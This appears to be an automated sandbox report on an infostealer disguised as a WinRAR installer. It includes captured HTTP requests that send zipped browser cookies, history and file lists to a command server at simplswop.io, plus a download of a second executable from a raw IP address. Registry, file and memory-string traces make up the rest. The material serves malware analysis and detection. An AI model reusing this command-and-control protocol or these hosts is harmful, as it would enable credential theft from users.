filename="8250790ABB6552085A14E9AACD5F9C89_Chrome.zip"Content-Type: application/octet-streamPKÅ68]info.jsonMA0Dïò×|]A=;cL*OÚ4Æ»[1,çeæeÞÐ¦Æq-PVUÎ9ÃË4Û)ëßº°@AÙ¥é=8ÑÝèHøLÔ#ÐÕX»,)×ÄÊ?·Ær¯ÅH?î½¡{pbÒ¦+8;½v1 nuqg:íêx!ËËö<+SÏPKr8iCÝPKÅ68]Default/browser_meta.jsonUO]KÃ0ý+XíÉ®W[jYÊ&ÏS±VnÝñQÄÆõ5`Y8õzfçVd«Ùb® Jÿ!wÿæ(¦q`¦Î.<ê<ÌjOüB'ÿð÷üpW_Miì&!Òñ9YÄÇBDtUD¤2ltóGûõÒßZ6ªízn ÷têÌDÈ´m?Ì¯xåA3¦õÎn½û558ÿ`à )Þ(Éb#J.1K~ÙÑEdÆ®ìz!Þ'¦{©=®6Õ¡Ç%Å~æZÖ¿¡Öì`÷Ä~#ºûz÷PKnDb§PKÂ68]Default/cookies/google.com.txtmË¢@E×ÕÿBU<{1Bå)º!¡KÁåõõÓÓNL8\eÞ÷ä;kzÎß³ú/$àÇ³A]dÉHL>Ú9Ü;1QÆ~/_+â:³a¤jvníû~lÜ"MöHà[×uï/2&^ú¿ujº¦+PDFÀH[Î¦-ÊªfîÃ:M®%eSÃ¬åãàõF[ø«ß^W[¹@U¡àXS HòÏ`%m+s¶iÇË°ÃdîJúy.5û$;ÉdY¬¢Ã~I#D.Ã5ÍébCÝuY1µ~º*ÇÓhÔ/ÖwyX´6âÓBe&8ä~XB£-âlÔBºâ¿·ÃÎSjwÕÛÆLo©ª+òðX·½±Æ¢Å;9¯9ÞC.ªóÚÓx´÷GÌc¦tVáüÖ_æ°hæB\úòÜÎY«úñèz¸¬Ç£ñN50llâÏ×V{OîHüªÉáJqøOO,ñ|¥øç|½É<ññøV@Àº\ ÿÎ?!|Ó5ôÄÏ³Ç-üÀÛì\öÝAô*«¦ýº©J¬rÊBnÌ,Y±sw× Ío×´v¹cÅP·áDÝËÞ xB¨|bØk×AëêY]nû¸ýeìPKëôßPKÅ68]r8iCÝinfo.jsonPKÅ68]!êÀØû\ÕDefault/browser_meta.jsonPKÅ68]nDb§Default/history.jsonPKÂ68]ëôßDefault/cookies/google.com.txtPKi------361EE8FE0000196C93BB4D5B--"; File: "PCAP") Found string "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=FileGrabber HTTP/1.1Content-Type: multipart/form-data; boundary=----361F10050000196C93BAB5A0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1149Cache-Control: no-cache------361F10050000196C93BAB5A0Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_FileGrabber.zip"Content-Type: application/octet-streamPKgfLdata/Downloads/desktop.ini}»ÂPDO-øv*øµ+A,´T Q$úñêI@|²ì½»3ÃÌ>îuj¬i³âDHlMíÜqæ@ÊR5wÚÉÄDÜÔîYúæ¢2lâ?fBCÇ«lá¨LBt#öÆ{t+ä]îmË¹IËÃÃê)©7ýæõ]}¸þO"åuLêWYOPKa!PKgfLdata/Documents/desktop.iniA@çô3º¤ èÇê i%hT?¾úV4"Çî¾73ÌìîóÑWOYtR¬³B¯³ÊµQ-éö0©ÝÑFZ³ 0±V°§§8Þ`+æeNU [°îÊ©w¶-M?ÔÉÖ×7ðIÉ¹Ów®oÐpýÐ:¬²gSN+k>E×-ã÷¾æo#4WÍ;]MjþPKoßY[±PKgfLdata/Desktop/desktop.ini}»ÂPDO-øv*¨à£+A,´T Q$úñêI@|²ì½»3ÃÌ>îuj¬i³âDHlMíÜqæ@ÊR5wÚÉÄDÜÔîYúæ¢2lâ?fBCÇ«lá¨LBt#öÆ{t+ä]îmË¹IËÃ>£ê)©7ýæõ]}¸þO"åuª*³PK})àPKgfLa!data/Downloads/desktop.iniPKgfLoßY[±ádata/Documents/desktop.iniPKgfL})àÚdata/Desktop/desktop.iniPKÖ¹------361F10050000196C93BAB5A0--"; File: "PCAP"), Found string "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=Edge HTTP/1.1Content-Type: multipart/form-data; boundary=----361F4A970000196C93BAEF32User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 4608Cache-Control: no-cache------361F4A970000196C93BAEF32Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_Edge.zip"Content-Type: application/octet-streamPKå68]info.jsonMA0Dïò×JvWOàÎS¥Bcá¶ñîDËyyti@@AÙp"Ë2gÉ4«¹ÕíxUpXAÀ ìÉbk,àx3:,[º¼kÿ[Ê5±óËñÝÄz!úôà~å£³7]ÁÙáäµáuÓj8Æéµªã{JhÐlOrÁH¼?PK«âÔmÜPKå68]Default/browser_meta.json]]KÃ0ÿÊ!W´]&Ý×(Ì°Á.KnaY2ÒÎÉÄÿîQÔË÷#ç}ÈÛ¦xé0±»³;d{ÁÔ¹È(¥,xQËiQrIÑÞaè)]Æ«ó^TÁa°qÁÒxZCÉ>2j9×Záætò¸ÁíÂõ#UªÁâa½|ÌÀ»Â=CÂí>Å#þ®ÂJ·:¹ïwÄø¯@X±#üM@¶×aw&ZIõî×>Õ³6®uV½V'kÊ¨ÒbÂô42c66!öM´9°Y«}3ÞÑ4ÎÒa^U¡r«kË¨ò©R2çÂØ)I9QvN)¶Îc4ÍÎ½PKÿ-,PKå68]Default/history.json½½Â0_¥dèTMÒj¥:(ÁAD¤Mk0m¤IÍ ¾»ñw(tpq¹Ü÷|çÛ^ASs£RgBX~ÉÒZH«~*JkÎªer1"¾gç¢.£d=±½Ì§ï8@1Å©!n(7yj)a%¢5Ëj~.L2%AÀRí7Ý¡ö¹9m1uËÔ¯øë³\þÿª^#;MìTF`<ò!ÓùÛéµ»PK3û¿¶PKå68]Default/cookies/adnxs.com.txtÉn@@Ïô/LklM@@Æµ*)Ã¢`b0uÁ-2"ò÷5é©Ißå^ò¸oKNÆµ=iüª)ß°%(LtLâò®b¦¾ÔÓjËbºj/9³oÃUey}UÊú5|F^T&N$i^Sðgí(òóëJð{µ¾~Tû8³d¶C7½Ç*¤»¾Ð¯Ñ®&Ý,`ø'îá[o` ZeE¨ð@ÒßXÎµ?@#;´h:b|=ÃèIBx +ã-Qâxeùs¸ê7¯°%æËhÃUò¤4ÄlÚ4/W}D0ðéyæo&kûB·xf\HVCp5<;U¼½îÜýîPK$A·!wPKå68]Default/cookies/bing.com.txtÎ±Â0EÑÙ|L°ØNFÀDÎv@ÀÂÿ[EGKWÇÏç§®÷7¨CW`Ç¶/@ªÈBThZ@Àÿ¥òKgÂAbæÉì÷Þ{©ÊÕ(UJ1r&b»I}úµº¶9m!pN7Å¸F)9&_Íè}£æXJñ5K½PK"Å^ûaóÙ¢ÏKR+ÖÚ»àYv7½oä×²ÇsòDm)rkr^X/dÆà«ø Hê]peÔÍH_ÌD«Ä1±1®oõ#J¡ÔoúH_Óx{H§2}SMëÿåÖá£Yt{Oããð/Cä.hìªî ÒÉ¤w¿K_VíáÈr´kXÑÃõv}ö8^%®w×-ö¬`¾ËnS¨z¡,ç~³vÝêO~zãQ.<ÊÁCY¯ÓD*¬8Ã¾¨J0¢¨ $ô)ÛÖäöÔÕèÏbâÆ¼IýYólÖ¶yâö©×æbµ'(á[Ã àTC"tÆõÃYHøEvHPÏÒÚm0Û···ÎÝûàáÜÕÚn7ò(}Í¦z£ï}¤î) S]Ø8È¡Ô£2pBËÀ\Iehuÿ"Z×Ur#c¾F1ßÊ+¯íYf¿È1º@;û>Ñ².Öï±¯óvAY®Ð*¹öQ~tì_ë"sV¶Êt³Ñ2ÿI gÔHÊaaÙ§ÁÁÌäö%¨/39$>µ¡ÔÌÃ¦úB*ÐKVÌÊË±õOØù Î2»VðúDñ8z÷Ö7÷Þ]OPSêou³Í«ºÇ¯v¥ßPKI¹"K)PKå68]Default/cookies/msn.com.txt½TYo£H~îý~Äé»Hy;VÙõ±ÚÍÅÑ$(æ4£ä?8Ê8q¢Ñ<ÕõuÕWG×¼ìªyZh³ÚèbZRXÍG^Ó8ÛÎ´h¦ü¥=llfÌY:aÅö}Âô©GÜBi!=_hF Óú±nm»á¨ðg"qÖ}e7Ï¯AIéÝ &uÊöùD¬@NÖtM]ufÑØuÄÖlòL1¦&Âà JÁü ¥Ì$ýÃÑIº:©ç2w8å±ä917æ§Ö3µøÔ>÷ñzûK¸]SgÁ.~êL9¾f*@øùjDÞÍÊ¡1ÜP]üîþA9äz\ vJQê¾9.Ìÿ°3Uâ¼Çq9:L£Ûí2ð£Ai3Ï¤çúDø"b>ñ¤ÏªlóÖÖ{ÉäÏÐ~´6¹0Ù9î!FAÝíÚ>yÞþòxßW8CXe×{ðp¦kmòÑ!98rÑ5¶Û'c©¾;àv/òp&ìêêje¾-ÿºi~åV&÷®üÈQ^Hó]/ ¡XaB¤§ü9 W'ÍtÉÕ%Ñ÷ÃO¢:î)Áíú,ÁWBÒU¹Ð¹aD.8+*¹LggKÆGBóO®]©È+£\S[·&ûÔÒwÄÆ$Jº®à\3äÝ}½[|¹êÃø>NAðÛÕ<\8hpH)rMÜ¡ñDÈ):»[CêF[EÚÖ][vû"g[·1{SÛ>æ[eHd*Ã\¥ÙrD¥Nê¦qF9æÊàñÃ _É¯W·»Û_dÿþr§Ë¹¶0Ùé¡6gÎÅRs»ÎtÄý÷õòâÆ\çáÅ~ýµ¼ùïéæ;LàáRÂ\yùÒÆß['ä´j¬ió°·Î Z<¶uYô¥=6bPÏïPK|Ìù(PKå68])Default/cookies/scorecardresearch.com.txtÌ½ @áùö0ùSEAS%´ÚMiAß²7¨ñÀá#Cthã]r6âE0Ü0vóª¡m1h[1É`Ì4U}nIùá±nbo9m¤z|UùÇîÙPK´_®PKå68]«âÔmÜinfo.jsonPKå68]ÿ-,ÖDefault/browser_meta.jsonPKå68]3û¿¶6Default/history.jsonPKå68]$A·!w7Default/cookies/adnxs.com.txtPKå68]"Å^<£Default/cookies/bing.com.txtPKå68]\Ôs¦|Default/cookies/clarity.ms.txtPKå68]¯f¾õ nDefault/cookies/linkedin.com.txtPKå68]I¹"K)!zDefault/cookies/microsoft.com.txtPKå68]|Ìù(Default/cookies/msn.com.txtPKå68]´_®)Default/cookies/scorecardresearch.com.txtPKÞ;------361F4A970000196C93BAEF32--"; File: "PCAP"), Found string "POST /backend/api/app.php?action=up_d&hwid=8250790ABB6552085A14E9AACD5F9C89&browser=InstalledSoftware HTTP/1.1Content-Type: multipart/form-data; boundary=----361F98F20000196C93BA3D57User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36Host: simplswop.ioContent-Length: 1370Cache-Control: no-cache------361F98F20000196C93BA3D57Content-Disposition: form-data; name="file"; filename="8250790ABB6552085A14E9AACD5F9C89_InstalledSoftware.zip"Content-Type: application/octet-streamPK78]Installed_Software.txtµWQsÚ8~Ï¯Ð#L/>I¦¹ÜÄIWa ±<²ûñ÷ÉVJHN[ðÀ%ï~»ú´«]]ÝMÉRòMå©~.ðáäßíÃY×w2·%¹¼`SÞ£Ö?ªÄèR/-¹^.U"IlôR¥Ò¹ÈHU%dë4(R7±UhSh#,0Wfã@t¢ÞéBÙ.æÝ8pÏ*0ä|½øÃxcWÐÆð¾Pù¬µ-Å[ýú=ë7^góÏÂHòUWyúêVÇ££wÈpSÜJSßÁoÌÉ1¸*È-^aÄ>r@æ2>r$Õû5¶*ÈL®eªj¡t^¢^tþùÜ£<¤ýó¯ù¾Ù®;UVØ¡É§OÀäÜG=2NSå 0?«r«Öº}ëÑ Ø¸¸3ÚÂ½÷c§);¹ÖÜhg<èc¼ÇÑ°a¦ø´&ß=5Ü$Ù7d^0bäÝKÕ|O2ÓÅñM.Õq¥åYØÒâb$È2½½ ³ü!SåªñC0úsyáàiÈùGøi.ÍÄ"y$tæ1sîã»ß¯|öÈ¬5×bý,M¬ØmÍDµpÈÇ¶,\W6Óú±5üoÚ¤ã@ÖË6¿'mÏ·á²ÊZáÃÿÜÐZ:Ç±òëp¿ù§Núj¢¹È:vÕ¿¶à¯sy¥lÿQôÔ¼g§©ìSi*hÍ¯MíXóõ²®¡ÔõÄjT(ÖaÖKÕ%L&ìûÿú£©ÊÕºZ«9ò.ÕnRrkU¦ìÌ£-ÄKÕèÐ`¦E¦ép6Gÿ¢ÊµOØ1odiÑô)¤òa°M«½{Ï¡õðÅáÒ¥Û¦´rÞwúf4¬!ÞÚ¿¾%§z2Q®pót$!'Wñ8¾XÈ2aÐ¾Dóëáz´s2I&+£e.®\âú}$^bÂ|¿!ØàMð¥ë¶Ã!¥AñV`âí½®àÂðFPo#ü/Eö\"·³QÕ|û÷s@ü`kÿOßa9vX5ðÃ1º6"Yï½`CMÞ·dÖ?u&È×*Ü$Õ¢9_p·FÝ¼v}ºkµñv\ál6äÁÐyÛ³î"øÛÎn_ìX¡{Dó#_¤I{ÔD.´!ÿ§FjOêÓOþPK*Þ×PK78]*Þ×Installed_Software.txtPKD"------361F98F20000196C93BA3D57--"; File: "PCAP"), Found string "Content-Type: multipart/form-data; boundary="; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp"), Found string "Content-Disposition: form-data; name="file"; filename=""; Source: "00000000-00004284.00000000.102677.467CD000.00000002.mdmp")55:T49d,GET /GoogleAdsSpainWinRarT1.exe HTTP/1.1 User-Agent: NSIS_Inetc (Mozilla) Host: 45.225.135.164:8081 Connection: Keep-Alive Cache-Control: no-cache GET /backend/api/app.php?action=cfg&hwid=8250790ABB6552085A14E9AACD5F9C89 HTTP/1.1 Accept: text/html application/xhtml+xml application/xml;q=0.9 image/avif image/webp */*;q=0.8 Accept-Language: en-US en;q=0.5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Cache-Control: no-cache GET /backend/api/app.php?action=poll&hwid=8250790ABB6552085A14E9AACD5F9C89&topWindowName=Program+Manager&userpcstatus=idle&botversion=3.0 HTTP/1.1 Accept: text/html application/xhtml+xml application/xml;q=0.9 image/avif image/webp */*;q=0.8 Accept-Language: en-US en;q=0.5 Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: same-origin User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Host: simplswop.io Cache-Control: no-cache 56:T8f4,"winrarx64-setup.exe" called "FindFirstFileW" with parameter %TEMP%\nso98E5.tmp (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindFirstFileW" with parameter %LOCALAPPDATA%\Temp (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData\Local (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindFirstFileW" with parameter %USERPROFILE%\AppData (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindFirstFileW" with parameter C:\Users\%OSUSER% (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindFirstFileW" with parameter C:\Users (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindFirstFileW" with parameter %TEMP%\nso98E5.tmp\*.* (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindNextFileW" with parameter INetC.dll (UID: 00000000-00007012) "winrarx64-setup.exe" called "FindNextFileW" with parameter nsExec.dll (UID: 00000000-00007012) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00007200) "powershell.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00007200) "powershell.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00007200)57:T1593,file/memory contains long string with (Indicator: "aes"; File: "7zxa.dll") file/memory contains long string with (Indicator: "aes256"; File: "7zxa.dll") file/memory contains long string with (Indicator: "aes"; File: "759707BD9E4D4F5DB1AA165A6600667D_history.db") file/memory contains long string with (Indicator: "base64"; File: "FF6F30FA3EA74A12904321162B0E7EAF_web_data_tokens.db") file/memory contains long string with (Indicator: "aes"; File: "history.json") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; File: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "ECDSA" (Indicator: "ecdsa"; Source: "00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.01150000.00000004.mdmp, 00000000-00004404.00000001.101292.011C3000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp") Found string "icrosoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000001.101292.011C3000.00000004.mdmp") Found string "Microsoft Enhanced RSA and AES Cryptographic Provider" (Indicator: "aes"; Source: "00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000000.100833.07A12000.00000004.mdmp, 00000000-00004404.00000001.101292.011C3000.00000004.mdmp, 00000000-00004404.00000001.101292.07A1E000.00000004.mdmp") Found string "System.IO.Compression.ZipFile" (Indicator: "zipfile"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "System.Security.Cryptography.Algorithms" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "System.Security.Cryptography.Cng" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "System.Security.Cryptography.Csp" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "System.Security.Cryptography.Encoding" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "System.Security.Cryptography.OpenSsl" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "System.Security.Cryptography.Pkcs" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "System.Security.Cryptography.Primitives" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "System.Security.Cryptography.X509Certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.012F1000.00000020.mdmp") Found string "system.security.cryptography" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000000.100833.093A0000.00000004.mdmp, 00000000-00004404.00000000.100833.093B0000.00000004.mdmp, 00000000-00004404.00000000.100833.09430000.00000004.mdmp, 00000000-00004404.00000000.100833.09450000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.09400000.00000004.mdmp") Found string "system.security.cryptography.x509certificates" (Indicator: "System.Security.Cryptography"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000000.100833.093A0000.00000004.mdmp, 00000000-00004404.00000000.100833.093B0000.00000004.mdmp, 00000000-00004404.00000000.100833.09430000.00000004.mdmp, 00000000-00004404.00000000.100833.09450000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.09400000.00000004.mdmp") Found string "md5cryptoserviceprovider" (Indicator: "md5cryptoserviceprovider"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp") Found string "rngcryptoserviceprovider" (Indicator: "rngcryptoserviceprovider"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "rijndael"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp") Found string "rijndaelmanaged" (Indicator: "Rijndaelmanaged"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "rijndael"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp") Found string "rijndaelmanagedtransform" (Indicator: "Rijndaelmanaged"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp") Found string "base64formattingoptions" (Indicator: "base64"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp") Found string "cryptostream" (Indicator: "cryptostream"; Source: "00000000-00004404.00000000.100833.08860000.00000004.mdmp, 00000000-00004404.00000001.101292.08860000.00000004.mdmp")58:T966,Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00002572.00000000.108538.7F030000.00000004.mdmp, 00000000-00003548.00000000.109508.22C60000.00000004.mdmp, 00000000-00004000.00000000.109166.B42B0000.00000004.mdmp, 00000000-00005124.00000000.110155.79950000.00000004.mdmp, 00000000-00006312.00000000.107567.68460000.00000004.mdmp, 00000000-00006572.00000000.108207.A7DF0000.00000004.mdmp, 00000000-00007892.00000000.106930.3CC40000.00000004.mdmp, 00000000-00008100.00000000.110788.0F9D0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\EdgeUpdate\MicrosoftEdgeSecurity.exe" (Indicator: "\Device\"; Source: "00000000-00002572.00000000.108538.7F030000.00000004.mdmp, 00000000-00003548.00000000.109508.22C60000.00000004.mdmp, 00000000-00004000.00000000.109166.B42B0000.00000004.mdmp, 00000000-00005124.00000000.110155.79950000.00000004.mdmp, 00000000-00006312.00000000.107567.68460000.00000004.mdmp, 00000000-00006572.00000000.108207.A7DF0000.00000004.mdmp, 00000000-00007892.00000000.106930.3CC40000.00000004.mdmp, 00000000-00008100.00000000.110788.0F9D0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00003892.00000000.103702.C87E0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\EdgeUpdate\MicrosoftEdgeSecurity.exe" (Indicator: "\Device\"; Source: "00000000-00003892.00000000.103702.C87E0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004064.00000000.103053.145A0000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\EdgeUpdate\MicrosoftEdgeSecurity.exe" (Indicator: "\Device\"; Source: "00000000-00004064.00000000.103053.145A0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\EdgeUpdate\test.exe" (Indicator: "\Device\"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp") Found string "\Device\HarddiskVolume2" (Indicator: "\Device\"; Source: "00000000-00004284.00000000.102677.ED320000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004404.00000000.100833.01150000.00000004.mdmp, 00000000-00004404.00000001.101292.011C3000.00000004.mdmp")59:Ta1c,"winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000003"; Key: "PACKEDCATALOGITEM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000004"; Key: "PACKEDCATALOGITEM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000005"; Key: "PACKEDCATALOGITEM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000006"; Key: "PACKEDCATALOGITEM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000007"; Key: "PACKEDCATALOGITEM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000008"; Key: "PACKEDCATALOGITEM"; Value: "") "winrarx64-setup.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000009"; Key: "PACKEDCATALOGITEM"; Value: "")5a:T9447,"winrarx64-setup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\CONTENT"; Key: "CACHEPREFIX"; Value: "000000") "winrarx64-setup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\COOKIES"; Key: "CACHEPREFIX"; Value: "Cookie:") "winrarx64-setup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\5.0\CACHE\HISTORY"; Key: "CACHEPREFIX"; Value: "Visited:") "winrarx64-setup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS"; Value: "0100000000") "winrarx64-setup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "INTRANETNAME"; Value: "0100000000") "winrarx64-setup.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "UNCASINTRANET"; Value: "0100000000") 